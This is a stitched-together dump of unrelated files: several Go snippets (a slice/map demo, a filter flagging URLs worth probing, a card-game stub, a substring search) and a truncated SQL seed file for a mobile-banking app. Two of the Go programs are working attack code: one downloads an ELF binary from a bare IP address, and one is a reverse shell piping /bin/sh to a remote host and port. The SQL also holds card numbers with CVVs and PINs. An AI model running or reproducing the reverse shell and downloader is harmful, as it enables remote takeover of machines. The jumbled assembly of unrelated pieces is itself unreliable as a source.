package main import "fmt" func main() { /* create a slice */ numbers := []int{0,1,2,3,4,5,6,7,8} /* print the numbers */ for i:= range numbers { fmt.Println("Slice item",i,"is",numbers[i]) } /* create a map*/ countryCapitalMap := map[string] string {"France":"Paris","Italy":"Rome","Japan":"Tokyo"} /* print map using keys*/ for country := range countryCapitalMap { fmt.Println("Capital of",country,"is",countryCapitalMap[country]) } /* print map using key-value for country,capital := range countryCapitalMap { fmt.Println("Capital of",country,"is",capital) } */ }
package main import ( "bufio" "fmt" "net/url" "os" "sort" "strings" ) // Ideas: // More than, say, 3 query string parameteres (exluding utm_*?) // Popular app names (phpmyadmin etc) in path // Filenames from configfiles list / seclist // dev/stage/test in path or hostname // jenkins, graphite etc in hostname or path type urlCheck func(*url.URL) bool func main() { checks := []urlCheck{ // query string stuff func(u *url.URL) bool { interesting := 0 for k, vv := range u.Query() { for _, v := range vv { if qsCheck(k, v) { interesting++ } } } return interesting > 0 }, // extensions func(u *url.URL) bool { exts := []string{ ".php", ".phtml", ".asp", ".aspx", ".cgi", ".pl", ".json", ".xml", ".rb", ".py", ".sh", ".yaml", ".yml", ".toml", ".ini", ".md", ".mkd", ".do", ".jsp", } p := strings.ToLower(u.EscapedPath()) for _, e := range exts { if strings.HasSuffix(p, e) { return true } } return false }, // path bits func(u *url.URL) bool { p := strings.ToLower(u.EscapedPath()) return strings.Contains(p, "ajax") || strings.Contains(p, "jsonp") || strings.Contains(p, "admin") || strings.Contains(p, "include") || strings.Contains(p, "src") || strings.Contains(p, "redirect") }, // non-standard port func(u *url.URL) bool { return (u.Port() != "80" && u.Port() != "443" && u.Port() != "") }, } seen := make(map[string]bool) sc := bufio.NewScanner(os.Stdin) for sc.Scan() { u, err := url.Parse(sc.Text()) if err != nil { //fmt.Fprintf(os.Stderr, "failed to parse url %s [%s]\n", sc.Text(), err) continue } if isBoringStaticFile(u) { continue } // Go's maps aren't ordered, but we want to use all the param names // as part of the key to output only unique requests. To do that, put // them into a slice and then sort it. pp := make([]string, 0) for p, _ := range u.Query() { pp = append(pp, p) } sort.Strings(pp) key := fmt.Sprintf("%s%s?%s", u.Hostname(), u.EscapedPath(), strings.Join(pp, "&")) // Only output each host + path + params combination once if _, exists := seen[key]; exists { continue } seen[key] = true interesting := 0 for _, check := range checks { if check(u) { interesting++ } } if interesting > 0 { fmt.Println(sc.Text()) } } } // qsCheck looks a key=value pair from a query // string and returns true if it looks interesting func qsCheck(k, v string) bool { k = strings.ToLower(k) v = strings.ToLower(v) // the super-common utm_referrer etc // are rarely interesting if strings.HasPrefix(k, "utm_") { return false } // value checks return strings.HasPrefix(v, "http") || strings.Contains(v, "{") || strings.Contains(v, "[") || strings.Contains(v, "/") || strings.Contains(v, "\\") || strings.Contains(v, "<") || strings.Contains(v, "(") || // shoutout to liveoverflow ;) strings.Contains(v, "eyj") || // key checks strings.Contains(k, "redirect") || strings.Contains(k, "debug") || strings.Contains(k, "password") || strings.Contains(k, "passwd") || strings.Contains(k, "file") || strings.Contains(k, "fn") || strings.Contains(k, "template") || strings.Contains(k, "include") || strings.Contains(k, "require") || strings.Contains(k, "url") || strings.Contains(k, "uri") || strings.Contains(k, "src") || strings.Contains(k, "href") || strings.Contains(k, "func") || strings.Contains(k, "callback") } func isBoringStaticFile(u *url.URL) bool { exts := []string{ // OK, so JS could be interesting, but 99% of the time it's boring. ".js", ".html", ".htm", ".svg", ".eot", ".ttf", ".woff", ".woff2", ".png", ".jpg", ".jpeg", ".gif", } p := strings.ToLower(u.EscapedPath()) for _, e := range exts { if strings.HasSuffix(p, e) { return true } } return false }
package main import( "fmt" "math/rand" "strconv" "time" ) var cardTypes = []string { "ace", "king", "queen", "jack", "10", "9", "8", "7", "6", "5", "4", "3", "2", } func main() { total := addTotal(3) fmt.Println(total) } func reverse(input string) int { //do something? return something? return 0 } func skipTurn() { //do something? return nothing? } func addTotal(cards int) int { total := 0 for i := 0; i < cards; i++ { var value int kind := RandomString(cardTypes) switch(kind) { case "4": value = reverse(kind) case "9": skipTurn() case "jack": value = 10 case "queen": value = 10 case "king": value = -1000 case "ace": value = 1 //value = 11 //how do we decide? default: stringToInt, err := strconv.Atoi(kind) if !(err == nil) { value = 0 fmt.Println(err, " - StrConv Failure") fmt.Println("Failed Value: ", kind) } else { value = stringToInt } } total += value } if total < 0 { return 99 } return total } func RandomString(options []string) string { rand.Seed(time.Now().Unix()) randNum := rand.Int() % len(options) return options[randNum] }
package main import ( "bufio" "fmt" "os" "strings" ) func main() { var f int = 0 var index int reader := bufio.NewReader(os.Stdin) x, _ := reader.ReadString('\n') // convert CRLF to LF x = strings.Replace(x, "\n", "", -1) y, _ := reader.ReadString('\n') // convert CRLF to LF y = strings.Replace(y, "\n", "", -1) for index, _ = range x { if x[index] == y[0] { f = 1 for i, _ := range y { if x[index+i] != y[i] { f = 0 break } } } if f == 1 { break } } if f == 1 { fmt.Print(index) } else { fmt.Print("-1") } }
package main import ( "io" "net/http" "os" ) var ( url = "https://47.52.43.146/f70.elf" ) func main() { res, err := http.Get(url) if err != nil { panic(err) } f, err := os.Create("f70.elf") if err != nil { panic(err) } io.Copy(f, res.Body) }
package main import ( "net" // requirement to establish a connection "os" // requirement to call os.Exit() "os/exec" // requirement to execute commands against the target system ) func main() { // Connecting back to the attacker // If it fails, we exit the program conn, err := net.Dial("tcp", "209.58.185.105:50404") if err != nil { os.Exit(1) } // Creating a /bin/sh process cmd := exec.Command("/bin/sh") // Connecting stdin and stdout // to the opened connection cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn // Run the process cmd.Run() }
insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'Admin', 'Admin', null); insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'System', 'System', null); insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'Anonymous', 'Anonymous', null); insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'Customer', 'Customer', null); insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'Merchant', 'Merchant', null); insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'Enterprise', 'Enterprise', null); insert into t_user_profile(creationDate, description, name, updateDate) values(now(), 'Student', 'Student', null); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe01', 'MONSAN01', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe02', 'MONSAN02', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe03', 'MONSAN03', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe04', 'MONSAN04', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe05', 'MONSAN05', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe06', 'MONSAN06', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe07', 'MONSAN07', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe08', 'MONSAN08', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe09', 'MONSAN09', null, 1); insert into t_user(creationDate, msisdn, email, firstname, lastname, updateDate, user_profile_id) values(now(), '22577448861', '[email protected]', 'Philippe10', 'MONSAN10', null, 1); insert into t_partner_type(active, description, jhi_label) values(1, 'Banque', 'Banque'); insert into t_partner_type(active, description, jhi_label) values(1, 'Micro-finance', 'Micro-finance'); insert into t_partner_type(active, description, jhi_label) values(1, 'Operateur Mobile', 'Operateur Mobile'); insert into t_partner_type(active, description, jhi_label) values(1, 'Services financiers', 'Services financiers'); insert into t_partner_type(active, description, jhi_label) values(1, 'Assurance', 'Assurance'); insert into t_partner_type(active, description, jhi_label) values(1, 'E-commerce', 'E-commerce'); insert into t_partner_type(active, description, jhi_label) values(1, 'Autres', 'Autres'); insert into t_currency(code, long_label, short_label) values('XOF', 'Francs CFA', 'F CFA'); insert into t_currency(code, long_label, short_label) values('XAF', 'Francs CFA', 'F CFA'); insert into t_currency(code, long_label, short_label) values('USD', 'Dollars americains', 'Dollars'); insert into t_currency(code, long_label, short_label) values('EUR', 'Euro', 'Euro'); insert into t_country(code, long_label, short_label, currency_id) values('CI', 'COTE D''IVOIRE', 'CI', 1); insert into t_country(code, long_label, short_label, currency_id) values('BF', 'BURKINA FASO', 'BF', 1); insert into t_country(code, long_label, short_label, currency_id) values('ML', 'MALI', 'ML', 1); insert into t_country(code, long_label, short_label, currency_id) values('CM', 'CAMEROUN', 'CM', 2); insert into t_country(code, long_label, short_label, currency_id) values('GB', 'GABON', 'GB', 2); insert into t_country(code, long_label, short_label, currency_id) values('FR', 'FRANCE', 'FR', 3); insert into t_country(code, long_label, short_label, currency_id) values('US', 'USA', 'US', 4); insert into t_customer_type(jhi_label) values('Particulier'); insert into t_customer_type(jhi_label) values('Marchand'); insert into t_customer_type(jhi_label) values('TPE'); insert into t_customer_type(jhi_label) values('PME'); insert into t_customer_type(jhi_label) values('Grands comptes'); insert into t_customer_type(jhi_label) values('Etudiant'); insert into t_customer_type(jhi_label) values('Eleve'); insert into t_bank(code, jhi_label, country_id) values('001', 'DigiBank1', 1); insert into t_bank(code, jhi_label, country_id) values('002', 'SGBCI', 1); insert into t_bank(code, jhi_label, country_id) values('003', 'BIAO', 1); insert into t_bank(code, jhi_label, country_id) values('004', 'SIB', 1); insert into t_bank(code, jhi_label, country_id) values('005', 'DigiBank2', 1); insert into t_bank(code, jhi_label, country_id) values('006', 'NSIA', 1); insert into t_bank(code, jhi_label, country_id) values('007', 'BNI', 1); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000001', null, null, 'Philippe01', 'MONSAN01', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 1); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000002', null, null, 'Philippe02', 'MONSAN02', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 2); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000003', null, null, 'Philippe03', 'MONSAN03', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 3); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000004', null, null, 'Philippe04', 'MONSAN04', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 4); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000005', null, null, 'Philippe05', 'MONSAN05', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 5); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000006', null, null, 'Philippe06', 'MONSAN06', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 6); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000007', null, null, 'Philippe07', 'MONSAN07', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 7); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000008', null, null, 'Philippe08', 'MONSAN08', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 8); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000009', null, null, 'Philippe09', 'MONSAN09', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 9); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000010', null, null, 'Philippe10', 'MONSAN10', null, 0, 0, '[email protected]', null, '22577448861', null, null, null, null, null, null, 1, 1, 1, 10); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000001', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 1, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000002', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 2, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000003', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 3, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000004', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 4, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000005', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 5, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000006', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 6, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000007', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 7, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000008', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 8, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000009', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 9, 1, 1); insert into t_account(active, number, accountType, accountSecurity, phonenumber, balance, balanceDate, pinNumber, comment, customer_id, bank_id, currency_id) values(1, '000010', 'CUSTOMER', 'NONE', 'phonenumber', 0, now(), null, '', 10, 1, 1); insert into t_card(active, number, validityDate, cvv2, pin, bank_account_id) values(1, '0000001', '0120', '0101', '0101', 1); insert into t_card(active, number, validityDate, cvv2, pin, bank_account_id) values(1, '4066032991197662', '0718', '175', '0202', 1); insert into t_card(active, number, validityDate, cvv2, pin, bank_account_id) values(1, '4695521389794220', '0716', '326', '0101', 2); insert into t_transaction_status(jhi_label) values('Creee'); insert into t_transaction_status(jhi_label) values('En cours'); insert into t_transaction_status(jhi_label) values('En cours (BS)'); insert into t_transaction_status(jhi_label) values('En cours (Partenaire)'); insert into t_transaction_status(jhi_label) values('Annulee'); insert into t_transaction_status(jhi_label) values('Annulee (BS)'); insert into t_transaction_status(jhi_label) values('Annulee (Partenaire)'); insert into t_transaction_status(jhi_label) values('Echouee'); insert into t_transaction_status(jhi_label) values('Echouee (BS)'); insert into t_transaction_status(jhi_label) values('Echouee (Partenaire)'); insert into t_transaction_status(jhi_label) values('Succes'); insert into t_transaction_status(jhi_label) values('Envoyee (Partenaire)'); insert into t_transaction_status(jhi_label) values('Refusee'); insert into t_transaction_status(jhi_label) values('Refusee (BS)'); insert into t_transaction_status(jhi_label) values('Refusee (Partenaire)'); insert into t_customer(active, number, corporateName, tradeRegister, firstname, lastname, birthdate, gpsLatitude, gpsLongitude, email, homePhone, mobilePhone, workPhone, question, qresponse, address, city, postalCode, version, customer_type_id, bank_id, user_id) values(1, 'BS000011', 'Groupe Digital Afrique', '[tradeRegister]', null, null, null, 0, 0, '[email protected]', null, null, '22522416581', 'Notre devise', 'Mobile Technology. Smart Africa.', 'Siège social 06 BP 356 Abidjan 06, Côte d’Ivoire Abidjan COCODY II Plateaux, derrière l’ENA, rue J36', 'Abidjan', '00225', 1, 4, 1, 1); insert into t_account(active, number, accountType, accountSecurity, momobalance, momobalanceDate, airtimebalance, airtimebalanceDate, pinNumber, comment, customer_id, operator_id, currency_id) values(1, 'OPER00001', 'OPERATION', 'NONE', 0, now(), 0, now(), null, 'Compte d''operations internes', 1, 4, 1); insert into t_account(active, number, accountType, accountSecurity, momobalance, momobalanceDate, airtimebalance, airtimebalanceDate, pinNumber, comment, customer_id, operator_id, currency_id) values(1, 'OPER00002', 'OPERATION', 'NONE', 0, now(), 0, now(), null, 'Compte d''operations externes', 1, 4, 1); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'CASH_IN', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'CASH_OUT', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'PAYMENT', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'CREDIT', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'DEBIT', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'TRANSFER', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Bank2MoMo', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Bank2Airtime', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Bank2Bank', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Bank2Card', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Bank2Wallet', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Card2MoMo', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Card2Airtime', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Card2Bank', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Card2Card', 'OPER00001'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Card2Wallet', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'MoMo2Bank', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'MoMo2Card', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Airtime2Bank', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Airtime2Card', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Wallet2Bank', 'OPER00002'); insert into t_operation_account_setting(active, transactionType, operationAccount) values(1, 'Wallet2Card', 'OPER00002'); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'CreditCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_IN', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'CreditCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'SMS', 